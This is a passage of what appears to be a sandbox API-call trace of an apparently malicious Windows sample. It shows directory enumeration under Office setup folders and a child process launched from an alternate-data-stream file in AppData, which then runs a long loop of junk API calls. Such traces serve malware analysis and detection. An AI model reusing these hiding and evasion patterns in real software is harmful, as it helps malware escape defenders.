(Handle=0x190) returned 0x0 [0269.095] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0269.095] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.095] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x9467c0 [0269.095] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0269.095] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.095] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959130 [0269.095] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0269.096] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.096] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x959028 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a390 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95d0b0 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x18) returned 0x95a3b0 [0269.096] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x95d1b8 [0269.096] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0269.096] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0269.096] GetLastError () returned 0x12 [0269.096] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x5490c0 [0269.096] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0269.097] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0269.097] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0269.097] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0269.097] FindNextFileW (in: hFindFile=0x5490c0, lpFindFileData=0x118e9e4 | out: lpFindFileData=0x118e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0269.097] GetLastError () returned 0x12 [0269.097] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959130) returned 1 [0269.097] FindClose (in: hFindFile=0x5490c0 | out: hFindFile=0x5490c0) returned 1 [0269.097] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x959028) returned 1 [0269.097] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958f20) returned 1 [0269.097] FindNextFileW (in: hFindFile=0x549100, lpFindFileData=0x118ec9c | out: lpFindFileData=0x118ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0269.097] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x100) returned 0x958f20 [0269.097] GetFileAttributesExW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x118eb98) Process: id = "68" image_name = "hat7ao~1:bin" filename = "c:\\users\\5p5nrg~1\\appdata\\roaming\\hat7ao~1:bin" page_root = "0x732ac000" os_pid = "0x770" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "67" os_parent_pid = "0x678" cmd_line = "C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e738" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 957 os_tid = 0x774 [0254.420] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\HAT7AO~1:bin" [0254.420] GetProcessVersion (ProcessId=0xca9) returned 0x0 [0254.420] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.420] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.420] IsCharLowerA (ch=32) returned 0 [0254.420] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=33) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=34) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=35) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=36) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=37) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=38) returned 0 [0254.421] CountClipboardFormats () returned 0 [0254.421] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.421] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.421] IsCharLowerA (ch=39) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=40) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=41) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=42) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=43) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=44) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=45) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=46) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=47) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.422] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.422] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.422] IsCharLowerA (ch=48) returned 0 [0254.422] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=49) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=50) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=51) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=52) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=53) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=54) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=55) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=56) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.423] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.423] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.423] IsCharLowerA (ch=57) returned 0 [0254.423] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=58) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=59) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=60) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=61) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=62) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=63) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=32) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=33) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.424] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.424] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.424] IsCharLowerA (ch=34) returned 0 [0254.424] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=35) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=36) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=37) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=38) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=39) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=40) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=41) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=42) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.425] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.425] IsCharLowerA (ch=43) returned 0 [0254.425] CountClipboardFormats () returned 0 [0254.425] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=44) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=45) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=46) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=47) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=48) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=49) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=50) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=51) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.426] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.426] IsCharLowerA (ch=52) returned 0 [0254.426] CountClipboardFormats () returned 0 [0254.426] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=53) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=54) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=55) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=56) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=57) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=58) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=59) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=60) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.427] IsCharLowerA (ch=61) returned 0 [0254.427] CountClipboardFormats () returned 0 [0254.427] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.427] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=62) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=63) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=32) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=33) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=34) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=35) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=36) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=37) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.428] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.428] IsCharLowerA (ch=38) returned 0 [0254.428] CountClipboardFormats () returned 0 [0254.428] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=39) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0254.429] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0254.429] IsCharLowerA (ch=40) returned 0 [0254.429] CountClipboardFormats () returned 0 [0254.429] IsValidLanguageGroup 